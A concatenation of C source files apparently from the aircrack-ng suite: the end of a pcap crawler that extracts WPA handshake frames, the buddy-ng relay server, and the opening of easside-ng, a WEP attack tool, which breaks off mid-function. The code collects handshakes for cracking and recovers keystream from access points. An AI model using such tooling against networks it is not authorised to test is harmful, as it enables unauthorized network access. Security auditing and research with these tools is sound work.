if (!memcmp(bsl->bssid, bssid, 6)) return (bsl);
bsl = bsl->next;
}
return (NULL);
}
static struct bsslist * add_to_list(struct bsslist * bsl, const u_char * bssid)
{
struct bsslist * new, *search;
new = malloc(sizeof(struct bsslist));
ALLEGE(new != NULL);
new->bssid = malloc(6);
ALLEGE(new->bssid != NULL);
memcpy(new->bssid, bssid, 6);
new->next = NULL;
new->beacon_saved = 0x00;
if (bsl == NULL)
{
return (new);
}
else
{
search = bsl;
while (search->next) search = search->next;
search->next = new;
return (bsl);
}
}
static void free_bsslist(struct bsslist * bsl)
{
if (!bsl) return;
if (bsl->next) free_bsslist(bsl->next);
free(bsl->bssid);
free(bsl);
}
static struct bsslist * get_eapol_bssids(pcap_t * handle)
{
struct pcap_pkthdr header;
const u_char *pkt, *llc, *bssid, *offset = NULL;
struct bsslist * bsl = NULL;
int o = 0;
pkt = pcap_next(handle, &header);
if (pcap_datalink(handle) == DLT_PRISM_HEADER)
{
if (pkt[5] || pkt[6])
{
printf("Unsupported PRISM_HEADER format!\n");
return (NULL);
}
if (pkt[7] == 0x40)
{ // prism54 format
offset = pkt + 7;
}
else
{
offset = pkt + 4;
}
}
while (pkt != NULL)
{
stats_packets++;
if (offset) o = (*offset);
if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88))
{ // Data or QoS Data
if (pkt[0 + o] == 0x88)
{ // Qos Data has 2 bytes extra in header
llc = pkt + 26 + o;
}
else
{
llc = pkt + 24 + o;
}
if ((pkt[1 + o] & 0x03) == 0x01)
{ // toDS
bssid = pkt + 4 + o;
}
else
{ // fromDS - I skip adhoc and wds since its unlikely to have eapol
// in there (?)
bssid = pkt + 10 + o;
}
if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
{
stats_eapols++;
if (!is_in_list(bsl, bssid))
{
printf("EAPOL found for BSSID: "
"%02X:%02X:%02X:%02X:%02X:%02X\n",
bssid[0],
bssid[1],
bssid[2],
bssid[3],
bssid[4],
bssid[5]);
bsl = add_to_list(bsl, bssid);
stats_networks++;
}
}
}
pkt = pcap_next(handle, &header);
}
return (bsl);
}
static void process_eapol_networks(pcap_t * handle, struct bsslist * bsl)
{
struct pcap_pkthdr header;
const u_char *pkt, *llc, *bssid, *offset = 0;
struct bsslist * known;
int o = 0;
pkt = pcap_next(handle, &header);
if (pcap_datalink(handle) == DLT_PRISM_HEADER)
{
if (pkt[7] == 0x40)
{ // prism54 format
offset = pkt + 7;
}
else
{
offset = pkt + 4;
}
}
while (pkt != NULL)
{
if (offset) o = (*offset);
header.len -= o;
if ((pkt[0 + o] == 0x08) || (pkt[0 + o] == 0x88)
|| (pkt[0 + o] == 0x80))
{
if ((pkt[1 + o] & 0x03) == 0x01)
{ // toDS
bssid = pkt + 4 + o;
}
else if ((pkt[1 + o] & 0x03) == 0x00)
{ // beacon
bssid = pkt + 16 + o;
}
else
{ // fromDS
bssid = pkt + 10 + o;
}
if (pkt[0 + o] == 0x80)
{ // beacon
known = is_in_list(bsl, bssid);
if (!known || known->beacon_saved)
{
pkt = pcap_next(handle, &header);
continue;
}
// Saving ONE beacon per WPA network
pcap_dump((u_char *) dumper, &header, pkt + o);
known->beacon_saved = 0x01;
}
if (pkt[0 + o] == 0x88)
{
llc = pkt + 26 + o;
}
else
{
llc = pkt + 24 + o;
}
if (!memcmp(llc, "\xaa\xaa\x03\x00\x00\x00\x88\x8e", 8))
{
if (is_in_list(bsl, bssid))
{
// Saving EAPOL
pcap_dump((u_char *) dumper, &header, pkt + o);
}
}
}
pkt = pcap_next(handle, &header);
}
}
static void process_file(const char * file)
{
REQUIRE(file != NULL);
pcap_t * handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bsslist * eapol_networks = NULL;
stats_files++;
handle = pcap_open_offline(file, errbuf);
if (!handle)
{
stats_noncaps++;
return;
}
stats_caps++;
if ((pcap_datalink(handle) != DLT_IEEE802_11)
&& (pcap_datalink(handle) != DLT_PRISM_HEADER))
{
// TODO: Add support for RADIOTAP!!!!
printf("Dumpfile %s is not an IEEE 802.11 capture: %s\n",
file,
pcap_datalink_val_to_name(pcap_datalink(handle)));
pcap_close(handle);
return;
}
printf("Scanning dumpfile %s\n", file);
eapol_networks = get_eapol_bssids(handle);
pcap_close(handle);
if (!eapol_networks) return; // No WPA networks found, skipping to next file
handle = pcap_open_offline(file, errbuf);
process_eapol_networks(handle, eapol_networks);
pcap_close(handle);
free_bsslist(eapol_networks);
}
static void process_directory(const char * dir, time_t begin)
{
REQUIRE(dir != NULL);
DIR * curdir;
struct dirent * curent;
struct stat curstat;
stats_dirs++;
curdir = opendir(dir);
if (!curdir)
{
perror("Opening directory failed");
return;
}
errno = 0;
curent = readdir(curdir);
while (curent)
{
if ((!strcmp("..", curent->d_name)) || (!strcmp(".", curent->d_name)))
{
curent = readdir(curdir);
continue;
}
size_t fullname_size = strlen(dir) + strlen(curent->d_name) + 2; //-V814
char * fullname = malloc(fullname_size);
ALLEGE(fullname != NULL);
ALLEGE(strlcpy(fullname, dir, fullname_size) < fullname_size);
ALLEGE(strlcat(fullname, "/", fullname_size) < fullname_size);
ALLEGE(strlcat(fullname, curent->d_name, fullname_size)
< fullname_size);
if (stat(fullname, &curstat))
{
printf("Statting %s ", fullname);
perror("failed");
}
else
{
if (S_ISREG(curstat.st_mode))
{
if (curstat.st_mtime >= begin)
{
printf("Skipping file %s, which is newer than the crawler "
"process (avoid loops)\n",
fullname);
}
else
{
process_file(fullname);
}
}
else if (S_ISDIR(curstat.st_mode))
{
process_directory(fullname, begin);
}
else
{
printf("%s is a neither a directory nor a regular file\n",
fullname);
}
}
free(fullname);
curent = readdir(curdir);
}
if (errno) perror("Reading directory failed");
closedir(curdir);
}
int main(int argc, char * argv[])
{
time_t begin = time(NULL); // Every file newer than when crawler started is
// skipped (it may be the file the crawler
// created!)
if (argc != 3)
{
printf("Use: %s <SearchDir> <CapFileOut>\n", argv[0]);
printf("What does it do?\n\nIt recurses the SearchDir directory\n");
printf("Opens all files in there, searching for pcap-dumpfiles\n");
printf("Filters out a single beacon and all EAPOL frames from the WPA "
"networks in there\n");
printf("And saves them to CapFileOut.\n\n");
exit(EXIT_SUCCESS);
}
dumphandle = pcap_open_dead(DLT_IEEE802_11, BUFSIZ);
dumper = pcap_dump_open(dumphandle, argv[2]);
if (dumper == NULL)
{
pcap_perror(dumphandle, "ERROR");
pcap_close(dumphandle);
}
process_directory(argv[1], begin);
pcap_dump_close(dumper);
pcap_close(dumphandle);
printf("DONE. Statistics:\n");
printf("Files scanned: %12u\n", stats_files);
printf("Directories scanned:%12u\n", stats_dirs);
printf("Dumpfiles found: %12u\n", stats_caps);
printf("Skipped files: %12u\n", stats_noncaps);
printf("Packets processed: %12u\n", stats_packets);
printf("EAPOL packets: %12u\n", stats_eapols);
printf("WPA Network count: %12u\n", stats_networks);
return (EXIT_SUCCESS);
} |
C | aircrack-ng/src/buddy-ng/buddy-ng.c | /*
* Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <stdio.h>
#include <stdlib.h>
#include <err.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <grp.h>
#include <sys/utsname.h>
#ifdef __NetBSD__
#include <sys/select.h>
#endif
#include "aircrack-ng/defs.h"
#include "easside.h"
#include "aircrack-ng/version.h"
static unsigned char ids[8192];
static unsigned short last_id;
static int wrap;
static int is_dup(unsigned short id)
{
int idx = id / 8;
int bit = id % 8;
unsigned char mask = (1 << bit);
if (ids[idx] & mask) return (1);
ids[idx] |= mask;
return (0);
}
static int
handle(int s, unsigned char * data, int len, struct sockaddr_in * s_in)
{
REQUIRE(data != NULL);
REQUIRE(s_in != NULL);
char buf[2048];
unsigned short * cmd = (unsigned short *) buf;
int plen;
struct in_addr * addr = &s_in->sin_addr;
unsigned short * pid = (unsigned short *) data;
/* inet check */
if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0)
{
unsigned short * id = (unsigned short *) (data + 5);
int x = 2 + 4 + 2;
*cmd = htons(S_CMD_INET_CHECK);
memcpy(cmd + 1, addr, 4);
memcpy(cmd + 1 + 2, id, 2);
char * netip = inet_ntoa(*addr);
printf("Inet check by %s %d\n", netip ? netip : "", ntohs(*id));
if (send(s, buf, x, 0) != x) return (1);
return (0);
}
*cmd++ = htons(S_CMD_PACKET);
*cmd++ = *pid;
plen = len - 2;
if (plen < 0) return (0);
last_id = ntohs(*pid);
if (last_id > 20000) wrap = 1;
if (wrap && last_id < 100)
{
wrap = 0;
memset(ids, 0, sizeof(ids));
}
printf("Got packet %d %d", last_id, plen);
if (is_dup(last_id))
{
printf(" (DUP)\n");
return (0);
}
printf("\n");
*cmd++ = htons(plen);
memcpy(cmd, data + 2, plen);
plen += 2 + 2 + 2;
ALLEGE(plen <= (int) sizeof(buf));
if (send(s, buf, plen, 0) != plen) return (1);
return (0);
}
static void handle_dude(int dude, int udp)
{
unsigned char buf[2048];
int rc;
fd_set rfds;
int maxfd;
struct sockaddr_in s_in;
socklen_t len;
/* handshake */
rc = recv(dude, buf, 5, 0);
if (rc != 5)
{
close(dude);
return;
}
if (memcmp(buf, "sorbo", 5) != 0)
{
close(dude);
return;
}
if (send(dude, "sorbox", 6, 0) != 6)
{
close(dude);
return;
}
printf("Handshake complete\n");
memset(ids, 0, sizeof(ids));
last_id = 0;
wrap = 0;
while (1)
{
FD_ZERO(&rfds);
FD_SET(udp, &rfds);
FD_SET(dude, &rfds);
if (dude > udp)
maxfd = dude;
else
maxfd = udp;
if (select(maxfd + 1, &rfds, NULL, NULL, NULL) == -1)
err(1, "select()");
if (FD_ISSET(dude, &rfds)) break;
if (!FD_ISSET(udp, &rfds)) continue;
len = sizeof(s_in);
rc = recvfrom(
udp, buf, sizeof(buf), 0, (struct sockaddr *) &s_in, &len);
if (rc == -1) err(1, "read()");
if (handle(dude, buf, rc, &s_in)) break;
}
close(dude);
}
static void drop_privs(void)
{
if (chroot(".") == -1) err(1, "chroot()");
if (setgroups(0, NULL) == -1) err(1, "setgroups()");
if (setgid(69) == -1) err(1, "setgid()");
if (setuid(69) == -1) err(1, "setuid()");
}
static void usage(void)
{
char * version_info
= getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2007,2008 Andrea Bittau\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: buddy-ng <options>\n"
"\n"
" Options:\n"
"\n"
" -h : This help screen\n"
" -p : Don't drop privileges\n"
"\n",
version_info);
free(version_info);
exit(EXIT_FAILURE);
}
int main(int argc, char * argv[])
{
struct utsname utsName;
struct sockaddr_in s_in;
struct sockaddr_in dude_sin;
int len, udp, ch, dude, s;
int port = S_DEFAULT_PORT;
int drop;
while ((ch = getopt(argc, argv, "ph")) != -1)
{
switch (ch)
{
case 'p':
drop = 0;
break;
default:
case 'h':
usage();
break;
}
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = PF_INET;
s_in.sin_addr.s_addr = INADDR_ANY;
s_in.sin_port = htons(S_DEFAULT_UDP_PORT);
udp = socket(s_in.sin_family, SOCK_DGRAM, IPPROTO_UDP);
if (udp == -1) err(1, "socket(UDP)");
if (bind(udp, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
err(1, "bind()");
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == -1) err(1, "socket(TCP)");
drop = 1;
// Do not drop privileges on Windows (doing it fails).
if (uname(&utsName) == 0)
{
drop = strncasecmp(utsName.sysname, "cygwin", 6);
}
if (drop) drop_privs();
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(port);
s_in.sin_addr.s_addr = INADDR_ANY;
len = 1;
if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &len, sizeof(len)) == -1)
err(1, "setsockopt(SO_REUSEADDR)");
if (bind(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
err(1, "bind()");
if (listen(s, 5) == -1) err(1, "listen()");
while (1)
{
len = sizeof(dude_sin);
printf("Waiting for connection\n");
dude = accept(s, (struct sockaddr *) &dude_sin, (socklen_t *) &len);
if (dude == -1) err(1, "accept()");
char * netip = inet_ntoa(dude_sin.sin_addr);
printf("Got connection from %s\n", netip ? netip : "<unknown>");
handle_dude(dude, udp);
printf("That was it\n");
}
exit(EXIT_SUCCESS);
} |
C | aircrack-ng/src/easside-ng/easside-ng.c | /*
* Copyright (c) 2007-2009 Andrea Bittau <a.bittau@cs.ucl.ac.uk>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <inttypes.h>
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/time.h>
#include <time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <stdarg.h>
#define __FAVOR_BSD
#include <netinet/udp.h>
#undef __FAVOR_BSD
#include "aircrack-ng/defs.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/osdep/byteorder.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/third-party/ethernet.h"
#include "aircrack-ng/third-party/ieee80211.h"
#include "aircrack-ng/third-party/if_arp.h"
#include "aircrack-ng/version.h"
#include "easside.h"
#define S_MTU 1500
#define S_MCAST "\x01\x00\x5e\x01\x00"
#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
#define S_PRGA_LOG "prga.log"
#define S_OWN_LOG "own.log"
#define S_MIN_RTO 10
enum
{
S_SEARCHING = 0,
S_SENDAUTH,
S_SENDASSOC,
S_ASSOCIATED
};
enum
{
AS_NOPRGA = 0,
AS_PRGA_EXPAND,
AS_FIND_IP,
AS_DECRYPT_ARP,
AS_DECRYPT_IP,
AS_FIND_RTR_MAC,
AS_CHECK_INET,
AS_REDIRECT
};
struct rpacket
{
unsigned char rp_packet[2048];
int rp_len;
int rp_id;
struct rpacket * rp_next;
};
struct owned
{
unsigned char ow_mac[6];
struct owned * ow_next;
};
struct east_state
{
/* conf & params */
char es_ifname[256];
unsigned char es_mymac[6];
int es_setmac;
int es_iponly;
struct wif * es_wi;
char es_tapname[16];
struct tif * es_ti;
unsigned int es_hopfreq;
int es_txto_mgt;
int es_txto_expand;
int es_expand_factor;
int es_txto_decrypt;
int es_port;
int es_udp_port;
int es_txto_whohas;
int es_txto_checkinet;
int es_txto_redirect;
unsigned char es_clear[S_MTU + 4];
struct rpacket * es_rqueue;
struct owned * es_owned;
int es_chanlock;
/* state */
unsigned char es_apmac[6];
int es_apchan;
char es_apssid[256];
int es_state;
struct timeval es_lasthop;
int es_txseq;
struct timeval es_txlast;
unsigned char es_prga[S_MTU + 4];
unsigned char * es_clearp;
unsigned char * es_clearpnext;
int es_prgalen;
unsigned char es_iv[3];
int es_expand_num;
int es_expand_len;
int es_txack;
unsigned char es_prga_d[S_MTU + 4];
int es_prga_dlen;
unsigned char es_prga_div[3];
unsigned char es_packet[2048];
int es_have_packet;
int es_have_src;
unsigned char es_packet_arp[2048];
int es_have_arp;
struct in_addr es_myip;
struct in_addr es_rtrip;
struct in_addr es_pubip;
unsigned char es_rtrmac[6];
struct in_addr es_srvip;
int es_buddys;
unsigned short es_rpacket_id;
struct timeval es_rtt;
unsigned short es_rtt_id;
int es_srtt;
int es_rxseq;
int es_astate;
};
static struct east_state _es;
static void printf_time(char * fmt, ...)
{
REQUIRE(fmt != NULL);
va_list ap;
struct timeval now;
time_t t;
struct tm * tm;
if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
t = time(NULL);
if (t == (time_t) -1) err(1, "time()");
tm = localtime(&t);
if (!tm) err(1, "localtime()");
printf("[%.2d:%.2d:%.2d.%.6lu] ",
tm->tm_hour,
tm->tm_min,
tm->tm_sec,
(long unsigned int) now.tv_usec);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
}
static void init_defaults(struct east_state * es)
{
REQUIRE(es != NULL);
memset(es, 0, sizeof(*es));
memcpy(es->es_mymac, "\x00\x00\xde\xfa\xce\x0d", 6);
es->es_setmac = 0;
strncpy(es->es_ifname, "specify_interface", sizeof(es->es_ifname) - 1);
es->es_state = S_SEARCHING;
es->es_hopfreq = 100; /* ms */
es->es_txto_mgt = 100; /* ms */
es->es_txto_expand = 100;
es->es_expand_factor = 3;
memcpy(es->es_clear, "\xAA\xAA\x03\x00\x00\x00\x08\x06", 8);
es->es_clearpnext = es->es_clearp = es->es_clear;
es->es_txto_decrypt = 10;
es->es_txto_whohas = 500;
es->es_txto_checkinet = 2000;
es->es_txto_redirect = 2000;
es->es_port = S_DEFAULT_PORT;
es->es_udp_port = S_DEFAULT_UDP_PORT;
}
static void reset(struct east_state * es)
{
REQUIRE(es != NULL);
int sz;
struct rpacket * p;
struct owned * ow;
FILE * f;
char mac[18];
/* close buddy */
close(es->es_buddys);
es->es_buddys = 0;
/* reset state */
char * ptr = (void *) es;
ptr += offsetof(struct east_state, es_apmac);
sz = sizeof(*es) - offsetof(struct east_state, es_apmac);
memset(ptr, 0, sz);
/* fixup state */
es->es_clearpnext = es->es_clearp = es->es_clear;
p = es->es_rqueue;
while (p)
{
p->rp_len = 0;
p = p->rp_next;
}
/* log ownage */
ow = malloc(sizeof(*ow));
ALLEGE(ow != NULL);
memset(ow, 0, sizeof(*ow));
memcpy(ow->ow_mac, es->es_apmac, sizeof(ow->ow_mac));
ow->ow_next = es->es_owned;
es->es_owned = ow;
f = fopen(S_OWN_LOG, "a");
if (!f) err(1, "fopen()");
mac2str(mac, es->es_apmac, sizeof(mac));
char * pubip = inet_ntoa(es->es_pubip);
fprintf(f,
"%s %d %s %s\n",
mac,
es->es_apchan,
es->es_apssid,
pubip ? pubip : "<unknown>");
fclose(f);
/* start over */
es->es_state = S_SEARCHING;
printf_time("Restarting");
}
static uint16_t in_cksum(const uint8_t * restrict ptr, size_t nbytes)
{
long sum = 0;
uint16_t oddbyte = 0;
uint16_t answer;
REQUIRE(ptr != NULL);
// sum of data stream
while (nbytes > 1)
{
const uint16_t v = load16((uint8_t *) ptr);
sum += v;
ptr += 2;
nbytes -= 2;
}
if (nbytes == 1)
{
*((uint8_t *) &oddbyte) = *ptr;
sum += oddbyte;
}
// reduce sum to uint16_t
sum = (sum >> 16) + (sum & 0xffff);
// add any carry bits
sum += (sum >> 16);
// one's complement
answer = ~sum;
return (answer);
}
static void open_wifi(struct east_state * es)
{
REQUIRE(es != NULL);
struct wif * wi;
wi = wi_open(es->es_ifname);
if (!wi) err(1, "wi_open()");
INVARIANT(es->es_wi == NULL);
es->es_wi = wi;
}
static void open_tap(struct east_state * es)
{
REQUIRE(es != NULL);
struct tif * ti;
char * iface = NULL;
if (es->es_tapname[0]) iface = es->es_tapname;
ti = ti_open(iface);
if (!ti) err(1, "ti_open()");
strncpy(es->es_tapname, ti_name(ti), sizeof(es->es_tapname) - 1);
es->es_tapname[sizeof(es->es_tapname) - 1] = 0;
printf("Setting tap MTU\n");
if (ti_set_mtu(ti, S_MTU - 50) == -1) err(1, "ti_set_mtu()");
es->es_ti = ti;
}
static void set_mac(struct east_state * es)
{
REQUIRE(es != NULL);
printf("Sorting out wifi MAC\n");
if (!es->es_setmac)
{
char mac[18];
if (wi_get_mac(es->es_wi, es->es_mymac) == -1) err(1, "wi_get_mac()");
mac2str(mac, es->es_mymac, sizeof(mac));
printf("MAC is %s\n", mac);
}
else if (wi_set_mac(es->es_wi, es->es_mymac) == -1)
err(1, "wi_set_mac()");
printf("Setting tap MAC\n");
if (ti_set_mac(es->es_ti, es->es_mymac) == -1) err(1, "ti_set_mac()");
}
static void set_tap_ip(struct east_state * es)
{
REQUIRE(es != NULL);
if (ti_set_ip(es->es_ti, &es->es_myip) == -1) err(1, "ti_set_ip()");
}
static void die(char * m)
{
REQUIRE(m != NULL);
struct east_state * es = &_es;
printf("Dying: %s\n", m);
if (es->es_wi) wi_close(es->es_wi);
if (es->es_ti) ti_close(es->es_ti);
exit(EXIT_SUCCESS);
}
static void sighand(int sig)
{
UNUSED_PARAM(sig);
die("signal");
}
static void set_chan(struct east_state * es)
{
REQUIRE(es != NULL);
int chan = es->es_chanlock ? es->es_chanlock : es->es_apchan;
if (wi_set_channel(es->es_wi, chan) == -1) err(1, "wi_set_channel");
}
static void clear_timeout(struct east_state * es)
{
REQUIRE(es != NULL);
memset(&es->es_txlast, 0, sizeof(es->es_txlast));
}
static void
read_beacon(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
ieee80211_mgt_beacon_t b = (ieee80211_mgt_beacon_t) (wh + 1);
uint16_t capa;
int bhlen = 12;
int got_ssid = 0, got_channel = 0;
struct owned * own = es->es_owned;
len -= sizeof(*wh) + bhlen;
if (len < 0)
{
printf("Short beacon %d\n", len);
return;
}
if (es->es_state != S_SEARCHING) return;
/* only wep */
capa = IEEE80211_BEACON_CAPABILITY(b);
if (!((capa & IEEE80211_CAPINFO_PRIVACY) && (capa & IEEE80211_CAPINFO_ESS)))
return;
/* lookin for a specific dude */
if (memcmp(es->es_apmac, "\x00\x00\x00\x00\x00\x00", 6) != 0)
{
if (memcmp(es->es_apmac, wh->i_addr3, 6) != 0) return;
}
/* check if we already owned him */
while (own)
{
if (memcmp(wh->i_addr3, own->ow_mac, 6) == 0) return;
own = own->ow_next;
}
/* SSID and channel */
b += bhlen;
while (len > 1)
{
unsigned char ie_len = b[1];
len -= 2 + ie_len;
if (len < 0)
{
printf("Short IE %d %d\n", len, ie_len);
return;
}
switch (b[0])
{
case IEEE80211_ELEMID_SSID:
if (!got_ssid)
{
strncpy(es->es_apssid, (char *) &b[2], ie_len);
es->es_apssid[ie_len] = 0;
if (strlen(es->es_apssid)) got_ssid = 1;
}
break;
case IEEE80211_ELEMID_DSPARMS:
if (!got_channel) got_channel = b[2];
break;
}
if (got_ssid && got_channel)
{
char str[18];
memcpy(es->es_apmac, wh->i_addr3, sizeof(es->es_apmac));
es->es_apchan = got_channel;
es->es_state = S_SENDAUTH;
mac2str(str, es->es_apmac, sizeof(str));
printf("\nSSID %s Chan %d Mac %s\n",
es->es_apssid,
es->es_apchan,
str);
if (!es->es_chanlock) set_chan(es);
return;
}
b += 2 + ie_len;
}
}
static int for_me_and_from_ap(struct east_state * es,
struct ieee80211_frame * wh)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
if (memcmp(wh->i_addr1, es->es_mymac, 6) != 0) return (0);
if (memcmp(wh->i_addr2, es->es_apmac, 6) != 0) return (0);
return (1);
}
static void
read_auth(struct east_state * es, struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(len);
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned short * sp = (unsigned short *) (wh + 1);
if (es->es_state != S_SENDAUTH) return;
if (!for_me_and_from_ap(es, wh)) return;
if (le16toh(*sp) != 0)
{
printf("weird auth algo: %d\n", le16toh(*sp));
return;
}
sp++;
if (le16toh(*sp) != 2)
{
printf("weird auth transno: %d\n", le16toh(*sp));
return;
}
sp++;
if (le16toh(*sp) != 0)
{
printf("Auth unsuccessful %d\n", le16toh(*sp));
exit(EXIT_FAILURE);
}
printf("Authenticated\n");
es->es_state = S_SENDASSOC;
}
static int is_dup(struct east_state * es, struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
unsigned short * sn = (unsigned short *) &wh->i_seq[0];
unsigned short s;
s = (le16toh(*sn) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
REQUIRE(es != NULL);
if (s == es->es_rxseq) return (1);
es->es_rxseq = s;
return (0);
}
static void
read_deauth(struct east_state * es, struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(len);
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned short * sp = (unsigned short *) (wh + 1);
if (!for_me_and_from_ap(es, wh)) return;
if (is_dup(es, wh)) return;
printf("Deauth: %d\n", le16toh(*sp));
es->es_state = S_SENDAUTH;
}
static void
read_disassoc(struct east_state * es, struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(len);
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned short * sp = (unsigned short *) (wh + 1);
if (!for_me_and_from_ap(es, wh)) return;
if (is_dup(es, wh)) return;
printf("Disassoc: %d\n", le16toh(*sp));
es->es_state = S_SENDASSOC;
}
static void
read_assoc_resp(struct east_state * es, struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(len);
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned short * sp = (unsigned short *) (wh + 1);
if (es->es_state != S_SENDASSOC) return;
if (!for_me_and_from_ap(es, wh)) return;
sp++; /* capa */
/* sc */
if (le16toh(*sp) != 0)
{
printf("Assoc unsuccessful %d\n", le16toh(*sp));
exit(EXIT_FAILURE);
}
sp++;
printf("Associated: %d\n", IEEE80211_AID(le16toh(*sp)));
es->es_state = S_ASSOCIATED;
es->es_txack = 0;
es->es_expand_num = -1;
}
static void
read_mgt(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
if (len < (int) sizeof(*wh))
{
printf("Short mgt %d\n", len);
return;
}
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_BEACON:
case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
read_beacon(es, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_AUTH:
read_auth(es, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
break;
case IEEE80211_FC0_SUBTYPE_DEAUTH:
read_deauth(es, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_DISASSOC:
read_disassoc(es, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
read_assoc_resp(es, wh, len);
break;
default:
printf("Unknown mgmt subtype %x\n",
wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
break;
}
}
static void
read_ack(struct east_state * es, struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(len);
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
if (memcmp(wh->i_addr1, es->es_mymac, sizeof(wh->i_addr1)) != 0) return;
es->es_txack = 1;
}
static void
read_ctl(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(wh != NULL);
switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
{
case IEEE80211_FC0_SUBTYPE_ACK:
read_ack(es, wh, len);
break;
case IEEE80211_FC0_SUBTYPE_RTS:
case IEEE80211_FC0_SUBTYPE_CTS:
case IEEE80211_FC0_SUBTYPE_PS_POLL:
case IEEE80211_FC0_SUBTYPE_CF_END:
break;
default:
printf("Unknown ctl subtype %x\n",
wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK);
break;
}
}
static int our_network(struct east_state * es, struct ieee80211_frame * wh)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
void * bssid
= (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ? wh->i_addr2 : wh->i_addr1;
return (memcmp(es->es_apmac, bssid, sizeof(es->es_apmac)) == 0);
}
static inline void xor(void *out, void *clear, void *cipher, int len)
{
REQUIRE(out != NULL);
REQUIRE(clear != NULL);
REQUIRE(cipher != NULL);
REQUIRE(len > 0);
unsigned char *cl = (unsigned char*) clear;
unsigned char *ci = (unsigned char*) cipher;
unsigned char *o = (unsigned char*) out;
while (len--)
*o++ = *cl++ ^ *ci++;
}
static void save_prga(struct east_state *es)
{
REQUIRE(es != NULL);
int fd, rc;
ALLEGE(es->es_prgalen <= (int) sizeof(es->es_prga));
printf_time("Got %d bytes of PRGA IV [%.2X:%.2X:%.2X]",
es->es_prgalen,
es->es_iv[0],
es->es_iv[1],
es->es_iv[2]);
printf("\n");
fd = open(S_PRGA_LOG, O_WRONLY | O_CREAT, 0644);
if (fd == -1) err(1, "save_prga: open()");
rc = write(fd, es->es_iv, 3);
if (rc != 3)
{
printf("save_prga: can't write IV\n");
